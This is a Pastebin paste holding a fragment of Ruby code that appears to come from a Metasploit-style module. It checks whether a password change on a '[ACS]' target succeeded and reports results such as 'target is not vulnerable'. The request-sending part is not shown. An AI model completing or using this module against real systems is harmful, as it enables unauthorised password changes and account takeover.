Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- if not res
- print_error("#{rhost}:#{rport} [ACS] Unable to connect")
- return
- elsif res.code == 200
- body = res.body
- case body
- when /success/i
- print_good("#{rhost} - Success! Password has been changed.")
- when /Password has already been used/
- print_error("#{rhost} - Failed! The supplied password has already been used.")
- print_error("Please change the password and try again.")
- when /Invalid credntials for user/
- print_error("#{rhost} - Failed! Either the username does not exist or target is not vulnerable.")
- print_error("Please change the username and try again.")
- else
- print_error("Fail")
- end
- else
- print_error("#{rhost} - Failed! The webserver issued a #{res.code} response.")
- return
- end
Advertisement
Add Comment
Please, Sign In to add comment